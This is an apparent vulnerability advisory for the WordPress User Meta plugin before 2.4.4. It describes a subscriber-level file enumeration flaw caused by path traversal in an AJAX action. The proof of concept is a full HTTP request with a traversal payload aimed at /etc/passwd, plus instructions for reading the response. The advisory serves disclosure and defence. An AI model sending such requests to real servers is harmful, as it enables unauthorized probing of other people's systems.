WordPress Plugin Vulnerabilities

User Meta < 2.4.4 - Subscriber+ Local File Enumeration via Path Traversal

Description

The plugin does not validate the filepath parameter of its um_show_uploaded_file AJAX action, which could allow low privileged users such as subscriber to enumerate the local files on the web server via path traversal payloads

Proof of Concept

As a subscriber, submit a dummy image on a page/post with a File Upload field is embed, intercept the request and change the file path parameter

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 158
Connection: close
Cookie: [subscriber+]

field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_ajax=true

If the response contains the um_remove_file, then the file exist on the server, otherwise it does not

Affects Plugins

Fixed in 2.4.4

References

Classification

Type
TRAVERSAL
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Julien Ahrens
Verified
Yes

Timeline

Publicly Published
2022-05-16 (about 1 years ago)
Added
2022-05-16 (about 1 years ago)
Last Updated
2022-05-17 (about 1 years ago)

Other